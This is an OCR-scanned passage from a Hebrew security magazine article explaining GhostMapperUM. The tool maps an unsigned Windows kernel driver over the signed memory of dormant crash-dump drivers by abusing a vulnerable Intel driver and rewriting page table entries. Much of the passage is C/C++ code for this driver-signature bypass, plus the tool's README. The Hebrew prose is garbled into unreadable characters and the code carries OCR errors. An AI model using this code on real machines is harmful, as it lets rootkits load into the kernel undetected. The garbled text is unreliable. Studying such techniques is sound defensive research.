197 N'NY NN 119 12T DY [NDTIT'R 70 7W NIRYANN NIX [7N7 IX W' NIRYINN N1'NAN

Nl

N7 1702 010! N7W NAMITN 7Y .text section-nn 77N 12 NN NIFA? 20'w nTavnn van nt
NIN .data section ' YN 721" X7 Tipn 271,110 12T YW .data section-n 117N Nt nn
page table -0 7w N'W' D219 NNTYVA N11'WUN NIR VX D0 ANID .AXN NIKWAN K77 section
noNNI Nd>IWN1 NTVINAN 0720 X'N page table-n yTI' 7w MY ,ghost drivers-n 7w entries
page-n NX NNIX N1IN2 NIXNA 07202 NNIYA 7D .0'oN 'T'9 [INDT7 NIN'IoN NIDIN 7w |NDT
2V "2y 750,01 '9%7 .page ININA DY TIRY W'Y NINYINNA DA NN |'2,[N2TNN AT D1onn
X701 12'"ITN 7Y PINN 197 NIRYANN DR DYl NniNn X700 N2INnn 770 07 1Y page ‘7D

2T MIT'R DNIX] D"'PY DINN

//Make sure header pte matches

for (int i = @; i < SIZE_TO_PAGES(nt->FileHeader.SizeOfOptionalHeader); i++)

{
PPte pte = GetPte((UINT64)module.ImageBase + i * PAGE_SIZE);
if (pte == NULL)
{
return STATUS_UNSUCCESSFUL;
}
pte->nx = true;
pte->rw = false;
¥

for (int i = @; i < nt->FileHeader.NumberOfSections; i++, sec_hdr++)
{
for (int j = @; j < SIZE_TO_PAGES(sec_hdr->SizeOfRawData); j++)
{
//Match the pte aswell
PPte pte = GetPte((ULONGLONG)(UINT64)module.ImageBase + sec_hdr->VirtualAddress + PAGE_SIZE * j);
if (pte == NULL)
{

continue;

//This can change depending on binary provided in DumpDriver

if (!strcmp((const char*)sec_hdr->Name, ".text"))

{
pte->nx = false;
pte->rw = false;
4
else if (!strcmp((const char*)sec_hdr->Name, ".data"))
{
pte->nx = true;
pte->rw = true;
i

.D'ARYNN XY 72 X NWNIDINN K70 12T 79 0000 N71Y97 Xip Y720 ,91017 .6
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MUY "MMKRN 2MTIN 7270 70 9 PDINNY XD DRTD 19N NIX A7 |'¥7 TIWONY Don |[Non
VTN 1M2NdY '2N7 IN'7¥' NNIoN N1AN NN YT 7V 1T NP T2 NYXIAN OKIL[N2TA K¥XNIY [DINNN
.(.text section-n 1> DN NINDY) VAR NIFNT WNK YT'NNY [ATA 12T 7W NIAIMDN 2NN N7
NIRYINN 7Y NP™0 NITYAILX' NIERN ANDNY NNn NXIY (NDT 770 70 7w ninann 0a,73%7 qona
12'W 7Y IRINY 1IN X7 NARNN 101N NIRYZ N1 [I05XA Y2172 NIANYT ARIYNA N7 page 7D 11y

22T 7Y oY XY

Ghost-n 72 NX 702 MY X7 107N YD NINTED N1ANN NIDINA MIvAYN @270 ,NNRT NNy
2'M1 X7 XIN DWW 1'7Y 0'pw yTNa Ghost driver 11aY DIWAN image path-nw naonn Drivers

.0M2'IT DNIXK DX 21T 7702 127T'W N1an NINNS W' D91, TN

GhostMapperUM - 2.5 xnaIT

-VYNMoNY TNXR VO W' ,0'NNISN D'YMMMI NI'mdNnNn 7w N9 NiMd 117 NN GhostMapper-v nnn?

JNIXR'YN WINON AN X7 Nnninn X700 N12INN 7w 19 1Ay nDinn X7/Dimn 12T vin'vn

,UserMode-2 Nn7v190 N'T2>I1 N1DIN 7V 001anw GhostMapperUM 0j7'N9N 1X¥11 NIXTN N2'oN 7720
¥ ANMP/N2MON NI7D Wnnwn 220 19M7 IR NDINN 7707 12T wnnwn? oipnal
NNNANNI N'MYZINN N1DINN NA'WO 7¢ 2700 7D IR NpI7 oxval D DA wnnwn kdmapper 12 12" TN

DTN 7V YT D770 DRIMAN an D 'Y 'y ntva

GhostMapperUM

manual map your unsigned driver over signed memory

inspired by the initial research and PoC (https://github.com/Oliver-1-1/GhostMapper) made by @Qliver-1-13)

since the original PoC intended to mainly demonstrate the concept , Oliver chose to use a driver to map another unsigned driver
GhostMapperUM intends to provide a more realistic / "ready to use” version of GhostMapper , implementing it entirely from usermode

generally speaking , we do that by exploiting the igvw64e.sys vulnerable intel driver (thanks to kdmapper's utilities - https://github.com/TheCruZ/kdmapper)

Usage

set the path to your target driver in ‘config.h’ and compile
just run GhostMapperUM.exe

note your driver should not touch the DriverObject / RegistryPath entry args as we pass them as null when calling the DriverEntry

dump drivers tl;dr

You should read the detailed readme description in the original GhostMapper repo , in short:

when a crash happens, crash related data needs to be saved to disk. drivers responsible to save data to disk on a crash are cloned with the prefix of ‘dump_’

the idea behind this is that on a crash the system is is considered to be in an unknwen state , a driver responsible to save data to disk might be
the one that caused the crash... to solve that, the kernel asks the clones to step in and write the data instead

that's why - by design , after initialization dump drivers are kept in a suspended state and are not in use (to minimize the chance they will be
corrupted by the time of a crash)

this gives us the opportuinty to leverage the signed memory range held by those 'ghost’ drivers and map our own driver over it :)

D'AINN X7 DN2MT NAWD AT
www.DigitalWhisper.co.il
17 2024 NanxT ,168 1"




Technologic

D'TAN] DN'X'S NND 9'0IN NINY N1 ,UIM'Y? AN NOTION MNP NIXA DT DN NYY WindyBug

AN [NN9Y

:imports-1 relocations '11'w NITY2 NOWN7 N7 NNXNNI 97 NRINN X700 N1DINN 7W ARy

d

=

N

o

=

w9

iver(HANDLE IntelDrvHandle, BYTE* RawImage)

e B e e e

uint32_t GhostDriverImageSize = acersGhostDriver->0ptionalHeadar.
// make sure the target driver is small enough to fit in the ghost driver

if (GhostDriverImageSize < ImageSize)

Log(L"[*] cant map over the specefied ghost driver , image size is too small® << std::endl);
return false;

}

// copy headers of target driver to local base
mencpy (LocalBase, Raulmage, NtHesders->OptionslHeader.SizeOfHeaders);

// map sections of target driver to local base
const PIMAGE_SECTION_HEADER CurrentSection = IMAGE_FIRST_SECTION(NtHeaders);

for (auto 1 = 8; i < NtHeaders->FileHeader.NumberGfSections; ++i) {
if ((CurrentSection[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED DATA) > @)
continue;

auto LocalSection = reinterpret_cast<void®>(reinterpret_cast<uint64_t>(LocalBase) + CurrentSection[i].VirtualAddress);

memepy (LocalSection, reinterpret_castcvoid=)(reinterpret_cast<uint64_t>(RawImage) + CurrentSection[i].PointerToRawData), CurrentSection[i].SizeOfRawData);

}

// @pply relocations on local base

RelocatelmagedyDelts(portable_exscutable::GetRelocs(LocalBase), GhostDriverBase - NtHeaders->OptionalHeader.ImageBase);
if (!FixSecurityCookie(LocalSase, GhostDriverBase))

Log(L"[-] Failed to fix cookie” << std::endl);
return false;

}

// patch and correct imports

if (!ResolvelImports(IntelDryHandle, portsble executable::GetImports(LocalBase))) {
Log(L"[-] Failed to resolve imports” << std::endl);
return false;

}

uints4_t GhostDriverEnd = ((ULONG_PTR)GhostDriverBase + ImsgeSize);

NIXN7 N1 NX kernel module 73 M |0dIXNW target Ghost driver-n 7w 0'02n NAIND NX'XN

.NtQuerySystemInformation() n'21yon T I'7w YN DX

AUT'RA INIXR MIYIE 7NN 2"TN DX XA ybh ,igvw64e.sys-n ﬁ]']’D/ﬁN'Wﬂﬁ N7 MY

TIXN DX NNA7 ITNYWYT N1 DY T NN 12T 7Y page table entries-7 qona ,"axpi?

:DINN X70 12"TN NI DI'0 NN NIXT NIYWYT7 NXI) DX 190N 1197 NN Y NDINN

3

bool MapDriver(HANDLE IntelDrvHandle, BYTE* RawImage)

const PIMAGE_NT_HEADERSE4 WtHeasders = portable_executable: :GetltHeaders(RawImage);

uint32_t ImageSize = NtHeaders->OptionalHeader.S5ize0fImage;

/7 Allocate local memory for driver image amd buffer for original driver image
void* LocalBase = VirtualAlloc(nullptr, ImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if {!LocalBase)

return false;

Autofree FreelocalBase(localBase):
void* OriginalMemory = VirtualAlloc(nullptr, ImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

if (!OriginalMemory)

return false;

AutoFree FreeOriginalMemory(OriginalMemory);

18
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// Find kernel base of ghost driver
uint64_t GhostDriverBase = utils::GetKernelModuleAddress("dump_stornume.sys");
if (!@hostDriverBase)

Log(L"[-] failed to resolve base of ghost driver...Wn");

return false;

// read original ghost driver image
if (!intel_driver::ReadMemory(IntelDrvHandle, GhostDriverBase, OriginalMemory, ImageSize))
Log{L"[-] failed to read ghost driver pte" << std::endl)
return false;
¥
const PIMAGE_MNT_HEADERS64 NtHeadersGhostDriver = portable_executable::GetMtHeaders(OriginalMemory);
uint32_t GhostDriverImageSize = NtHeadersGhostDriver-:>OpticnalHeader.SizeQfImage;
// make sure the target driver is small enough to fit im the ghost driver
if (GhostDriverImageSize < ImageSize)
Log(L"[*] cant map over the specefied ghost driver , image size is too small" << std::endl);

return false;

SN7NNNN 19'AN AT 112 1 rwx NIXWINT 12T IR DNRNNY page table entries-n 7D 'y 4

NDAYN |INOT NN AT 2V 17w 2T NI

// mark ghost driver range as rwx
std: :vector<pte> OriginalPtes;
for (uint64_t Currentfddress = GhostDriverBase; CurrentAddress < GhostDriverEnd; CurrentAddress += USN_PAGE_SIZE)

uint64_t PteAddress = (uinted_t)GetPTEForvA(IntelDrvHandle, CurrentAddress,PteBaschAddress);

pte PiteMemory;
if (!intel_driver::ReadMemory(IntelDrvHandle, PteAddress, &PteMemory, sizeof(pte)))
1

Log(L"[-] failed to read ghost driver pte™ << std::endl);

return false;

OriginalPtes.push_back(PteMemory);

PteMemory.nx = false;
PteMemory.rw = true;
if (!intel_driver::WriteMemory({IntelDrvHandle, PteAddress, &PteMemory, sizeof(pte)})
i
Log(L"[-] failed to patch ghost driver pte" << std::endl);

return false;

b

Log{L"[*] marked ghost driver pages as rwx" << std::endl);
// our target driver is ready , write ower the ghost driver memory ;

if (!intel_driver::WriteMemory(IntelDrvHandle, GhostDriverBase, LocalBase, ImageSize))
Log(L"[-] Failed to write local image to remote image" << std::endl);
return false;

T

Log{L"[*] wrote target driver to signed memory" << std::endl);

D'NINN N7 DT NI'WD INT
www.DigitalWhisper.co.il
19 2024 1anyT,168 |I'"n




Technologic

ANI' DY memory pages NINT? *TD NIDIWN 7V DMYD NI W9 IXwW I yinn? nin 2y .5
9'011 INKX [1NIT TR 7271 TA72 execute NINWINT NXINT N1 [INDT TR 7D MWL, NIKWAN TN

;"IN DX 17 1TO7 MINRWY nx (no execute)

bool MapDriver{HANDLE IntelDrvHandle, BYTE* Rawlmage)

COEYC [ J WIUlE CWiEUC @ Lol CO JEEICO WCmoT ¥ s S Ces s

/f avoid rwx pages by stripping write priv from the pages we need executable

// and strip executable priv from all the others

/f it of course means your driver should not have RWX sections (and if it has , well cleaning is optional...)
std::vector<uintéd_t> ExecutablePtes;

std::vector<uinted_t> WriteablePtes;

const PIMAGE_SECTION_HEADER CurrentSectionHeader = IMAGE_FIRST_SECTION(NtHeaders);

bool ExecutableSection = false;

/f figure which pages we need to keep executable
for (auto i = 8; 1 < NtHeaders-»FileHeader.NumberOfSections; ++i) {
if {(CurrentSectionHeader[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED DATA) > @)
continue;
uint6d_t SectionStart = GhostDriverBase + CurrentSectionHeader[i].VirtualAddress;
uinté4_t SectionEnd = SectionStart + CurrentSectionHeader[i].5izeOfRawData;
if {(CurrentSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
ExecutableSection = true;
else

ExecutableSection = falsze;

/f find all the section's pages and insert them into the appropriate vector
for (uintf4_t CurrentSecAddr = SectionStart; CurrentSecAddr < SectienEnd; CurrentSecAddr += USN_PAGE_SIZE)
i
uinté4 t Ptefddr = (uinté4_t)GetPTEForVA(IntelDrvHandle, CurrentSecAddr, PteBaselddress);
if (ExecutableSection)
ExecutablePtes.push_back(PteAddr);
else

WriteablePtes.push_back(Ptefddr);

¥

/f sort the page table entries accordingly

if {!AvoidRWXPtes(IntelDrvHandle, ExecutablePtes, WriteablePtes))
Log(L"[-] failed clean rwx pages" << std::endl);
return false;

h

Log{L"[*] cleaned rwx page table entries" << std::endl);

N71w9'7 XNj7'7 7213 701 DriverEntry()-7 XNj7'7 12 ssdt inline hook yx¥1a no Da ,kdmapper-7 nmiT2a (6
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2¥NN DX 'TNNY 19N N1INA RestoreOriginalDriver N71¥97 XNP'7 W' 19™Mn NIMRY 7w 117

ANMTR?
bool MapDriver(HANDLE IntelDrvHandle, BYTE* RawlImage)
/ avoid rwx pages by stripping write priv from the pages we need executable
and stri xecutable priv from all the others
it of means your driver should not have RWX sections (and if it has , well cleaning is optional...)

std: :vector<uint64_t> ExecutablePtes;
std: :vector<uint64_t> WriteablePtes;
const PIMAGE_SECTION_HEADER CurrentSectionHeader = IMAGE_FIRST_SECTION(NtHeaders);
bool ExecutableSection = false;
/ figure which pages we need to keep executable
for (auto i = @; i < NtHeaders->FileHeader.NumberOfSections; ++i) {
if ((CurrentSectionHeader[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) > @)
continue;
int64_t SectionStart = GhostDriverBase + CurrentSectionHeader([i].VirtualAddress;
uint64_t SectionEnd = SectionStart + CurrentSectionHeader[i].SizeOfRawData;
if (CurrentSectionHeader[i]).Characteristics & IMAGE_SCN_MEM_EXECUTE)

ExecutableSection = true;

ExecutableSection = false;

/ find all the section's pages and insert them into the appropriate vector
for (uint64_t CurrentSecAddr = SectionStart; CurrentSecAddr < SectionEnd; CurrentSecAddr += USN_PAGE_SIZE)
{
uint64_t PteAddr = (uint64_t)GetPTEForVA(IntelDrvHandle, CurrentSecAddr, PteBaseAddress);
if (ExecutableSection)

ExecutablePtes.push_back(PteAddr);

WriteablePtes.push_back(PteAddr);

/ sort the page table entries accordingly

if (!AvoidRWXPtes(IntelDrvHandle, ExecutablePtes, WriteablePtes))

Log(L"[-] failed clean rwx pages"™ << std::endl);
return false;

3
J

Log(L"[*] cleaned rwx page table entries"™ << std::endl);
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https://github.com/shaygitub :*7w ARNV'AN TMYL DINRIIZRN D'OZ'NON DR N7 N @

shaygilat@gmail.com 7w 7"'®XN NTIWR MR N @

https://www.linkedin.com/in/shay-gilat-67b727281 7w 'RT1"N Ty~ e

ALORP Ly et

:ProtectionSolution Yw Github-n Tmy

https://github.com/shaygitub/ProtectionSolution

1XYW NI71V9N (1Al DIWN DAI0N ,Ghost/Dump Drivers-n XWI 7y N71yn N1Ixa 1'aonn Tiny
wnnY

https://crashdmp.wordpress.com/

NN refrence DN 'M'WYW 0'OR'NON 727 DMWY

https://github.com/Oliver-1-1/GhostMapper

https://github.com/0mWindyBug/GhostMapperUM

https://github.com/TheCruZ/kdmapper

DINRNAN XY DX 207 ITYY7 0'210'W Windows Internals 'R "7w 0'TIpn 0NXRNY DIy
:DINNY7 NP'20 NI DNIXD 010171210 NI Y

https://digitalwhisper.co.il/files/Zines/0xA2/DW162-2-OffensiveWinKernel.pdf

https://digitalwhisper.co.il/files/Zines/0xA3/DW163-1-BYOVD.pdf

https://digitalwhisper.co.il/files/Zines/0xA4/DW164-3-ReverseWinDrivers.pdf

https://digitalwhisper.co.il/files/Zines/0xA5/DW165-1-ReversingWindowsKernel-Part4.pdf

https://digitalwhisper.co.il/files/Zines/0xA6/DW166-3-ReverseWin32Kernel-Part5.pdf
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